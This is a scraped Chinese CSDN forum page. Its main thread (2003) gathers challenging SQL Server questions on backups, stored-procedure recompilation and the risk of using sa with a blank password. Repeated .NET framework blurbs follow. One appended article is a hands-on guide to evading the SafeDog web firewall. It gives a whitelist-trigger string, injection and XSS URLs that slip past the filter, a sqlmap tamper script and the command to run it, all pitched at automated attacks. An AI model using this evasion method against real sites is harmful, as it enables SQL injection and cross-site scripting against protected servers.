SQL Server 好题征集

OpenVMS 2003-06-21 12:13:30
好的问题可以催人思考，激发你的求知欲

目的：共同提高
范围：你所知道的所有有关SQL SERVER的问题，包括CSDN上已经解决的，你也可以提问
要求：
1 不可通过帮助直接或间接找到答案
2 具备一定的解决难度、技巧、启发性
3 直接贴上问题内容，而不是链接
4 给出推荐理由
5 对评选出的好题提出人赠分奖励

欢迎大家踊跃献出你收藏的宝物与大家共享。
...全文
29 65 打赏 收藏 转发到动态 举报
写回复
用AI写文章
65 条回复
切换为时间正序
请发表友善的回复…
发表回复
wenyu 2003-06-27
  • 打赏
  • 举报
 回复
收起来先
fmdsaco 2003-06-27
  • 打赏
  • 举报
 回复
早就想请教了
up
cchinasp 2003-06-26
  • 打赏
  • 举报
 回复
一個Access,經常在另外一系統里insert,和update,結構和SQL SERVER(B/S)差不多,在B/S的系統里面,怎樣讓SQL的數據和這個庫同步呢?
OpenVMS 2003-06-26
  • 打赏
  • 举报
 回复
谢谢大家热烈支持，可以继续举荐你们所看到的好问题以及精彩解答URL。
PoorAngel 2003-06-26
  • 打赏
  • 举报
 回复
好地方啊!坐坐
delphiyesgood 2003-06-26
  • 打赏
  • 举报
 回复
决定努力向高手学习，从今天开始。
***********好好学习，天天向上**************
lihonggen0 2003-06-26
  • 打赏
  • 举报
 回复
支持
prcgolf 2003-06-26
  • 打赏
  • 举报
 回复
好！！
caiyunxia 2003-06-26
  • 打赏
  • 举报
 回复
http://expert.csdn.net/Expert/topic/1677/1677669.xml?temp=.7351801
jeck_zhou 2003-06-26
  • 打赏
  • 举报
 回复
数据库备份的时候，校验由什么作用？
19191919 2003-06-25
  • 打赏
  • 举报
 回复
占个地方
waterf 2003-06-25
  • 打赏
  • 举报
 回复
备份到命名管道时 出错！（

sp_addumpdevice 'pipe','ff','\\.\pipe\sql\query'

backup database pubs to ff
OpenVMS 2003-06-25
  • 打赏
  • 举报
 回复
楼上说的不错,SA允许空密码(可设置)确实是不太严肃,希望在新版本中不会出现这样的情况.
dotAge 2003-06-25
  • 打赏
  • 举报
 回复
我出个讨论题吧。

为什么大部分的开发项目中，大家总是喜欢用sa+空密码来连接数据库？其实谁都知道这里面的安全风险，并且大家好象都对“数据库角色”这个概念视而不见，我想，sample代码可能是罪魁之一，它们为了省事，千篇一律地用user id=sa; password=;这样的连接串把初学者毒害了，因此，我希望大家不妨谈谈 “数据库角色与权限控制的编程”
seasong 2003-06-24
  • 打赏
  • 举报
 回复
好地方呀
happydreamer 2003-06-24
  • 打赏
  • 举报
 回复
看了黄山GG推荐的这篇文章 http://www.transactsql.com/Articles/OSPR.html


里面提到using the WITH RECOMPILE clause in the CREATE PROCEDURE or the EXECUTE statement
将会导致过程执行时的重新编译，并可以用profile跟踪看到

我执行里面的示例，用profile观察到以下结果:

SP:Starting EXEC dbo.spShowRecompile
SP:Recompile
SP:Completed EXEC dbo.spShowRecompile



但如果这样
create procedure sp_test
with recompile
as

select * from sysobjects where xtype='U'

go

--既强制过程执行时recompile

--然后执行

exec sp_test

exec sp_test with recompile

但执行时用porfile观察时却是这样的结果

SP:Starting EXEC sp_test
SP:Completed EXEC sp_test
--没有跟踪到重新编译，是为什么呢
shenanigan 2003-06-24
  • 打赏
  • 举报
 回复
凳子的说……
昵称被占用了 2003-06-24
  • 打赏
  • 举报
 回复
很早以前的：
经验放送：优化SQL SERVER数据库的经验总结！
http://search.csdn.net/expert/topic/57/5701/2002/1/5/459166.htm

如何优化数据库。。。（回顾一下蓝色力量的精彩回答）
http://search.csdn.net/expert/topic/57/5701/2002/2/8/525281.htm

pengdali 2003-06-24
  • 打赏
  • 举报
 回复
扬帆破浪是每天报道
昵称被占用了 2003-06-24
  • 打赏
  • 举报
 回复
竹之草好久好久没来了
小干部儿倒是偶尔过来一下
加载更多回复（45）
DotNet开源开发框架NetDF_V2.0源码 DotNetOpenDevelopmentFrameworkNetDF.rar
DotNet开源开发框架NetDF_V2.0源码 源码描述： 一、源码介绍 1、NetDF开发框架2.0版本为开发框架，将会不断更新版本，此开发框架旨在征集开源爱好者的建议，为广大开发者提供一个有利于学习、快速开发高性能、稳定、设计合理规范、代码可读性强、容易理解、容易维护、扩展性好、客户体验好的软件系统的框架，此框架对源码免费开放，非常适合软件公司用来开发软件、个人学习或创业。 二、主要功能 1、技术特点 Html + JQuery + EasyUI + Ajax + ashx + ado.net 三、注意事项 1、开发环境为Visual Studio 2012，数据库为SqlServer2008R2，使用.net 2.0开发。
送强力打狗棒，文末领取
我一直想找一个通用性的过狗方法，预期是这个绕过方法不会涉及到下面3个方面 （1）中间件，如iis、apache （2）数据库，如mysql、sql server （3）脚本语言，如php、aspx、asp 网上关于安全狗的sql绕过研究，大多数是fuzz绕过的帖子，fuzz方法常常使用注释绕过，涉及到数据库特性，而且广泛用于注释语法的星号（*）可能会被网站自带的防恶意代码模块拦截了，在实践中体验不好。太多fuzz过waf的文章，多数是使用注释绕过，在我看来，所有fuzz绕过，本质就是正则匹配逃逸。 我计划写一篇脚本小子最爱的，涉及知识点最少，能直接放工具里全自动跑sql注入的过狗文章。 0x01 先说说安全狗是如何判断恶意代码 安全狗、云锁、D盾等软件waf，内置一套正则匹配检测规则。这类软件waf对恶意代码的认识很有限。例如安全狗iis版，只知道要防护的服务器是iis作为中间件，并不知道要防护的服务器上面部署的数据库类型[Mysql|Sql Server|Access..]以及脚本语言类型[php|aspx|asp...]。再者，由于是依靠正则规则看恶意代码，所以对恶意代码拦截不全面。 0x02 起因 某天，在本地搭建了一个Asp+Access+IIS环境，测试安全狗Bypass 用淘气字符串就绕过了安全狗的拦截。由于只能用在某些sql语句上，具体是哪一个字符串就无足轻重了。第一次在本地环境测试安全狗就绕过了，刚好那天看到论坛在征集优秀文章，计划着写处女作投稿。 附上地址，虽然字符串数量不多，但是确实很淘气... https://github.com/minimaxir/big-list-of-naughty-strings/blob/master/blns.txt 淘气字符串 我反复提交包含sql注入的数据包，Fuzz到了字符串[removed] 只有这一处，提示数据库报错了。那么，安全狗是分析到了什么？安全狗是用正则匹配看代码的，所看到，肯定不是一大串字符。反复删减，最终出来了 ///.js 0x03 绕过测试 ///.js js可以换成rm/wm/png/jpg等静态文件后缀 测试发现，只要url包含 ///.js 就会触发内置的白名单，直接被iis版安全狗放行。既然是触发白名单，我直接把http防护策略全部开启，把防护等级调到最高来测试效果。 http://192.168.29.131:8980/sql.php?id=1 and 1=1 (拦截) http://192.168.29.131:8980/sql.php?id=1 and 1=1&safe;=///.js? (放行) http://192.168.29.131:8980/sql.php/1.js?id=1 and 1=1 (放行) 触发白名单直接放行url，顺带放行了XSS攻击代码，连xss过狗代码也不用研究了，哈哈。 http://192.168.29.131:8980/sql.php?id=1 and 1=1&xss;=[removed]alert(/xss/)[removed]&safe;=///.js? (既有sql注入，又有xss攻击，放行) http://192.168.29.131:8980/sql.php?id=1 and 1=1&xss;=[removed] （很evil，也放行） 还能在url传输什么，放行恶意代码，脑洞... 不仅是放行url，连cookie位置也放行了。 但是当恶意代码放在post数据，就绕不过安全狗。 亲测，对于安全狗iis版，php,aspx,asp均能用这种方式过狗。 http://.../sql.php?safe=///.js?&id=1 http://.../sql.aspx?safe=///.js?&id=1 http://.../sql.asp?safe=///.js?&id=1 如果是Apache版安全狗，可以试试 http://.../sql.php/1.js?id=1 http://.../sql.aspx/1.js?id=1 备注：更新了图片，最新的iis版本，亲测，本文提供的两个方法 依然有效～～～ （思考花了一个星期，认认真真写稿也就两个晚上，8号的iis版已经更新了一次，然而漏洞依然存在，看来官方人员一直都不知道） 影响范围： 针对最新的安全狗iis版，从最右边开始匹配，存在某一个问号？附近的字符串满足正则表达式 \/.*?\/.*?\/.*?\.js（其中的js可以替换成如png、jpg等静态文件后缀）例如 ///.js?或http://ip/1.jpg? 就会触发内置白名单，无论数据库和脚本语言类型。触发白名单会放行url和cookie位置的恶意代码，但依然检查post的数据。 （Apache版的规则库不一样，手工测试出精简的字符串，但是url无效访问，所以Apache版的还只能按照http://.../sql.php/1.jpg?id=1触发白名单） 0x04 搜索公开技术贴 准备写稿了，防止遇到造轮子撞车，变换关键词，搜搜互联网最近半年的公开过狗技术帖。找到了一个造轮子的博客https://www.jianshu.com/p/507439c2dd94 看图。这个造轮子方法已经很普遍出现在各种BypassWaf文章里面。 我的观点：安全狗不认识什么是php，所以这个bypass没挖掘到绕过的本质。而且有些php网站不支持PATH_INFO特性。对问题本质的理解不一样，如果是思考如何触发安全狗的正则匹配规则，就能发现这个绕过方法可以推广到aspx和asp。 虽然方法很简单，发现了如何触发内置白名单，放行恶意代码，但是无法绕过恶意代码出现在post数据的情况。美中不足，思绪一度搁浅，因为我计划写一篇“脚本小子最爱，涉及知识点最少，能直接放工具里全自动跑sql注入的过狗文章”。 0x05 峰回路转 择日再度整理思路，翻看手里的资料。再次看到上次那个造轮子博客。看到0x04造轮子三个字，我在思考什么是造轮子？一味地造轮子本身没有错，错在看不到车子，不清楚什么轮子最适合，于是就有了四方形，三角形，椭圆形的轮子，同样都是能上路的轮子。我的思维跳跃到了那个经典的fuzz造轮子代码。曾经用这个代码Fuzz一个小时的我，就觉得fuzz代码对sql语句的理解不多，出现很多没必要的测试。 手工测试sql语句的经验告诉我，所有fuzz过狗payload本质都是正则匹配逃逸（包括特殊的截断），正则匹配逃逸的核心要点绝不是/××/注释。于是对造轮子作者的payload进行测试，发现最终有用的是#a (安全狗4.0) 所以说，注释绕过的是 # 配合 \n id=1 union select 1,2,3 （拦截） id=1 union# select 1,2,3 （拦截） id=1 union#a select 1,2,3 （放行） 原理：安全狗遇到注释符号 # 就会丢弃后边代码的检测。为了提防使用回车\n绕过正则过滤，只是拦截了# ，正则规则库没考虑到#+字符串+ 的情况，造成了BypassWaf 改写了个 tamper ,命名为Bypassdog40.py （成功测试了iis版安全狗4.0和apache版安全狗4.0） 核心代码只有一条，把所有空格替换为 #a if payload: retVal = re.sub(r"\s", r"#a ", payload) 执行 sqlmap -u “http://192.168.29.131:8980/sql.php?id=1” -v 3 --random-agent --tamper=Bypassdog40.py 成功跑出所有sql注入payload 紧接着又测试注入点在post和cookie的情况，自动化注入过程很顺利。 补充：安全狗Apache3.5 规则刚好相反，拦截#a ，放行# ，命名tamper为 Bypassdog35.py 0x06总结 真理总是直接，甚至是简单的 本文包含了两个过狗方法： 一个是触发内置白名单的正则规则，能放行url和cookie的恶意代码检测，包括了xss攻击。美中不足就是绕不过post数据的恶意代码检查。 另一个Bypass方法是传统方法，提供了很简单的tamper，核心代码只有一句，可以用sqlmap跑自动化，大致可以通杀安全狗。遇到无法读数据库情况，例如拦截了INFORMATION_SCHEMA，可以配合触发内置白名单的方法，直接放行。 MySQL #单行注释 -- 单行注释（特别注意，-- 后有个空格！！！） /*多行注释*/ MS SQL Server -- 单行注释 /*多行注释*/ Oracle REM单行注释 -- 单行注释 /*多行注释*/ 新的两个tamper命名为Bypassdog400 和Bypassdog350 适用于 MS SQL Server和Oracle
C#.NET通用开发框架源码2017
一、源码描述 此开发框架为免费开源的开发框架，会不断更新版本，旨在征集开源爱好者的建议，为广大 开发者提供一个有利于学习、快速开发高性能软件的框架，此框架对所有源码开放。 十分具有 学习价值，值得推荐一下，感兴趣的朋友们不要错过哦。 二、功能介绍 CH：代码生成层。 Common：公用代码层。 DBControl ：数据库控制与操作层。 DBUtility：数据库访问层。 Model：数据实体层。 SystemExtend：类扩展。 Web：页面展现层。 该源码包含了很多的实用类库具体的可以参考说明文档。 三、源码特点 采用了Html+JQuery+EasyUI +Ajax+ashx+ado.net的技术。 四、注意事项 1、开发环境为Visual Studio 2010，数据库为SQL Server 2008R2，数据库文件在DB文件夹中， 使用.net 4.0开发。 2、默认数据库连接字符串在webconfig配置文件中修改。 3、 此版本完全开源，不收任何费用，可以任用于商业,但要保留版权信息。
NET 通用开发框架源码 2017 最新 稳定版
一、源码描述 此开发框架为免费开源的开发框架，会不断更新版本，旨在征集开源爱好者的建议，为广大 开发者提供一个有利于学习、快速开发高性能软件的框架，此框架对所有源码开放。 十分具有 学习价值，值得推荐一下，感兴趣的朋友们不要错过哦。 二、功能介绍 CH：代码生成层。 Common：公用代码层。 DBControl：数据库控制与操作层。 DBUtility：数据库访问层。 Model：数据实体层。 SystemExtend：类扩展。 Web：页面展现层。 该源码包含了很多的实用类库具体的可以参考说明文档。 三、源码特点 采用了Html+JQuery+EasyUI +Ajax+ashx+ado.net的技术。 四、注意事项 1、开发环境为Visual Studio 2010，数据库为SQL Server 2008R2，数据库文件在DB文件夹中， 使用.net 4.0开发。 2、默认数据库连接字符串在webconfig配置文件中修改。 3、 此版本完全开源，不收任何费用，可以任用于商业,但要保留版权信息。。
开发源程序框架(Html+JQuery+EasyUI +Ajax+ashx+ado.net) .
一、源码描述 此开发框架为免费开源的开发框架，会不断更新版本，旨在征集开源爱好者的建议，为广大 开发者提供一个有利于学习、快速开发高性能软件的框架，此框架对所有源码开放。 十分具有 学习价值，值得推荐一下，感兴趣的朋友们不要错过哦。 二、功能介绍 CH：代码生成层。 Common：公用代码层。 DBControl：数据库控制与操作层。 DBUtility：数据库访问层。 Model：数据实体层。 SystemExtend：类扩展。 Web：页面展现层。 该源码包含了很多的实用类库具体的可以参考说明文档。 三、源码特点 采用了Html+JQuery+EasyUI +Ajax+ashx+ado.net的技术。 四、注意事项 1、开发环境为Visual Studio 2010，数据库为SQL Server 2008R2，数据库文件在DB_51aspx文件夹中， 使用.net 4.0开发。 2、默认数据库连接字符串在webconfig配置文件中修改。 3、 此版本完全开源，不收任何费用，可以任用于商业,但要保留版权信息。
MS-SQL Server

34,593

社区成员

254,589

社区内容

发帖
与我相关
我的任务
社区描述
MS-SQL Server相关内容讨论专区
社区管理员
  • 基础类社区
  • 二月十六
  • 卖水果的net
加入社区
  • 近7日
  • 近30日
  • 至今

加载中

查看更多榜单
社区公告
暂无公告

试试用AI创作助手写篇文章吧

+ 用AI写文章